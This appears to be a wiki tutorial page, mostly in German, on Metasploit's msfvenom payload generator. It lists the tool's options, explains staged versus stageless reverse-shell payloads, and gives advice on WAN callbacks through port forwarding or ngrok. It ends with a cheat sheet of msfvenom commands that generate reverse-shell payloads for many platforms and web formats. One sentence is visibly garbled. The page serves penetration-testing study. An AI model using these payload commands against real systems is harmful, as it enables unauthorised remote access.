Msfvenom

Aus xinux.net
Zur Navigation springen Zur Suche springen

Was ist das?

  • Msfvenom ist ein eigenständiger Metasploit-Payload-Generator, der msfpayload und msfencode ersetzt.
  • Mit msfvenom können Sie je nach Plattform/Betriebssystem, das Sie hacken möchten, jede Art von Shellcode/Payload generieren.
  • Eine der nützlichsten Fähigkeiten von Metasploit ist oft das msfvenom-Modul.
  • Mit diesem Modul können mehrere Payloads erstellt werden, und es hilft etwas, das Ihnen in fast jeder Situation eine Shell geben kann.
  • Für jede dieser Payloads können Sie in msfconsole gehen und Exploit/Multi/Handler auswählen.
  • Führen Sie „set payload“ für die relevante verwendete Payload aus und konfigurieren Sie alle erforderlichen Optionen (LHOST, LPORT, SRVHOST, SRVPORT usw.).
  • Ausführen und warten, bis die Nutzlast ausgeführt wird.
  • Geben Sie für die Nutzung im lokalen Netzwerk Ihre IP-Adresse in LHOST ein, aber für die Nutzung über WAN müssen Sie sie mit Ihrer öffentlichen IP füllen und sicherstellen, dass Ihr Port weitergeleitet werden muss, oder Sie können auch den NGROK-Tunnel verwenden, wenn Sie mit einem konfrontiert sind Problem mit Portweiterleitung.
  • Ngrok leitet den gesamten Datenverkehr automatisch an Ihren lokalen Host weiter.

Usage of Msfvenom

  • msfvenom [options] <var=val>
To list out all options, type “msfvenom -h”
  • -p, –payload Payload to use. Specify a ‘-‘ or stdin to use custom payloads
  • –payload-options List the payload’s standard options
  • -l, –list [type] List a module type. Options are: payloads, encoders, nops, all
  • -n, –nopsled Prepend a nopsled of [length] size on to the payload
  • -f, –format Output format (use –help-formats for a list)
  • –help-formats List available formats
  • -e, –encoder The encoder to use
  • -a, –arch The architecture to use
  • –platform The platform of the payload
  • –help-platforms List available platforms
  • -s, –space The maximum size of the resulting payload
  • –encoder-space The maximum size of the encoded payload (defaults to the -s value)
  • -b, –bad-chars The list of characters to avoid example: ‘\x00\xff’
  • -i, –iterations The number of times to encode the payload
  • -c, –add-code Specify an additional win32 shellcode file to include
  • -x, –template Specify a custom executable file to use as a template
  • -k, –keep Preserve the template behavior and inject the payload as a new thread
  • -o, –out Save the payload
  • -v, –var-name Specify a custom variable name to use for certain output formats
  • –smallest Generate the smallest possible payload
  • -h, –help Show this message
To list out all payloads, type “msfvenom -l”

To list out all payloads, type “msfvenom -l”

Staged vs. Stageless

Was ist eine stufenlose Nutzlast?

  • Beispiel
windows/meterpreter_reverse_tcp 
  • Eine stufenlose Nutzlast iswindows/meterpreter/reverse_tcp tt die am einfachsten zu verstehende Art von Nutzlast+dr.
  • Sie enthält alles, was Sie benötigen, um einen Reverse-Shell-Callback zu erhalten.
  • Aus diesem Grund ist die Dateigröße normalerweise viel größer und das Programm im Vergleich zu einem inszenierten Programm relativ komplex.
  • Diese Nutzlast kann abgefangen werden, indem ein Raw-Socket abgehört wird.
  • Sie können einen Listener in Netcat, Python, Socat usw. erstellen.
  • Im Diagramm wird unser obiges Opfer dazu verleitet, stageless.exe auszuführen, und ein Angreifer erhält über TCP/1337 einen Rückruf an seinen Netcat-Listener.
  • Stageless Payloads sind viel grösser, das sie den kompletten Code enthalten.
  • Sie passen aber oft nicht in den Bereich den man bei einem Buffer-Overflow zur verfügung hat.
  • Die komplette Verbindung kann verschlüsselt sein wenn metsrv eingesetzt wird.

Was ist eine gestufte Nutzlast?

  • Beispiel
windows/meterpreter/reverse_tcp 
  • Eine gestufte Nutzlast(Dropper) ist etwas komplizierter, in dem Sinne, dass sie an ein anderes Gerät senden muss, um eine zweite „Stufe“ zu erhalten,
  • Diese enthält dann ein vollständigeres Programm.
  • Manchmal kann dies nur Shellcode sein, manchmal kann es ein völlig separates Modul sein.
  • Aufgrund der zusätzlichen beteiligten Interaktion erfordert es einen „Hander“.
  • Das Metasploit Framework hat dafür ein Modul namens Exploit/Multi/Handler.
  • Es ist wichtig zu wissen, dass damit sowohl Staged- als auch Stageless-Nutzlasten erfasst werden können.
  • Im obigen Diagramm wird unser Opfer dazu verleitet, den Dropper auszuführen
  • Dieser wendet sich an den Angreifer um eine zweite Stufe zu empfangen, die dann im Speicher injiziert und ausgeführt wird, was einen Reverse-Shell-Callback auslöst.
  • Kleiner Paylod
  • Zu Anfangs unverschlüsselt
  • Passt meist in den "Buffer-Overflow-Bereich".

Cheatsheets

For Linux

  • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > exploit.elf

For Windows

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > exploit.exe

For Mac

  • msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > exploit.macho

For PHP

  • msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > exploit.php

For ASP

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > exploit.asp

For JSP

  • msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > exploit.jsp

For WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > exploit.war

For Python

  • msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > exploit.py

For Bash

  • msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > exploit.sh

For Perl

  • msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > exploit.pl

For Shell

  • msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

For all shellcode formats, type “msfvenom –help-formats” in your terminal

Quellen